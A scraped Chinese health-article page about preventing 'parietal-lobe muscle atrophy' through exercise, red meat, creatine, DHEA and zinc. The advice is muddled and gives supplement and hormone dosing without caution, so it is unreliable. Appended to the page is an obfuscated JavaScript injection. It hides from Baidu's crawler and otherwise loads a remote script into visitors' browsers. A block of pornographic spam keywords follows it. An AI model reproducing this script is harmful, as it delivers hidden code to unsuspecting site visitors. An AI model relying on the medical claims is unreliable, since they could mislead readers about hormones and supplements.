當前位置:首頁 > 健康 > 常見疾病 > 正文

頂葉肌肉萎縮要如何預防?

2017-06-18 12:48:44  來源:360常識網   熱度:
導語:如果是大腦神經出現了問題,會直接影響到整個身體的健康,甚至會出現肌肉的萎縮狀態,無法正常的活動和行走,那么頂葉肌肉萎縮要如何預防?

如果是大腦神經出現了問題,會直接影響到整個身體的健康,甚至會出現肌肉的萎縮狀態,無法正常的活動和行走,那么頂葉肌肉萎縮要如何預防?事實上肌肉萎縮的預防措施還是很多的,這就需要從日常生活起居入手了,不管是鍛煉還是飲食都要認真對待。

鍛煉——有氧運動。根據自己的年齡和身體狀況選擇適當的鍛煉項目,做有氧運動。人體的肌肉組織與其它組織、器官一樣,每時每刻都在不停地進行新陳代謝。晚上睡覺前做適當的鍛煉肌肉的運動(活動量小),運動后馬上洗臉、洗澡,然后睡覺,更有利于肌肉的新生。

合理營養——紅肉不可少。為增加肌肉的新生,必須保證蛋白質營養,因為蛋白質是制造肌肉組織的主要原料。營養學家主張,為了健康長壽應多吃魚肉,少吃紅肉。這種說法有其科學道理,但少吃不等于不吃。研究發現,紅肉和乳制品中含豐富的肉酸。肉酸可增加骨骼肌的有氧能力,有效防止肌肉疲乏。

紅肉中還含有豐富的肌氨酸。吃紅肉的人每天能從飲食中攝入1~2克肌氨酸,吃素的人則攝取較少。加拿大一項研究顯示,肌氨酸可以改善肌肉萎縮癥患者的肌力。國外有肌氨酸補充劑出售,用量為:前5天每天20克,以后以每天5~10克維持。

保持適當的雄激素。研究發現,補充脫氫外雄固酮(簡稱dhea)能夠穩定地增強肌肉力量。dhea是腎上腺以膽固醇為原料制造的類固醇激素,dhea可以轉化為睪酮。

鋅需足夠。維持適當水平的鋅濃度。由腦垂體合成的生長激素,如果能夠及時與鋅按1∶1比例結合,其效力可顯著提高。此外,含鋅酶促進肌肉蛋白的合成。所以,應通過補鋅維持機體較高水平的鋅濃度。

相信大家對頂葉肌肉萎縮要如何預防也都心中有數了,很多的健康隱患都是因為自己生活習慣不好導致的,當然了也有一些是原發性的,受到遺傳因素的影響,但是不管是什么原因所致,都需要積極認真的做好防護措施與治療工作。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
精品国产爽爽AV| 精品无码一区二区三区爱欲| 97精品国产福利一区二区三区| 亚洲精品动漫人成3d在线| 国产精品免费久久| 中文字幕精品无码一区二区| 久久免费精品视频| 久久99国产精品| 91精品久久久久久无码| 2020国产精品| 国产精品自在在线午夜出白浆| 四虎成人精品在永久在线观看 | 国产亚洲精品成人a v小说| 国产亚洲精品无码成人| 亚洲人成亚洲精品| 国产精品福利一区二区久久| 亚洲人成色777777精品| 国产伦精品一区二区三区四区 | 91精品一区国产高清在线| 日韩精品在线免费观看| 亚洲精品视频在线观看免费| 久久精品麻豆日日躁夜夜躁 | 久久精品成人免费观看| 91精品国产乱码在线观看| 亚洲精品成a人在线观看夫| 国产精品亚洲色婷婷99久久精品| 国产精品.XX视频.XXTV| 精品亚洲永久免费精品| 久久机热这里只有精品无需| 成人国产精品视频频| 久久99精品国产99久久6| 亚洲AV无码精品色午夜果冻不卡| 国产精品岛国久久久久| 国产在线高清精品二区色五郎| 国产午夜精品一区二区三区小说| 99热这里只有精品国产动漫| 久久精品麻豆日日躁夜夜躁 | 久久精品无码一区二区无码| 精品videossexfreeohdbbw| 国产福利电影一区二区三区久久久久成人精品综合 | 亚洲av永久中文无码精品|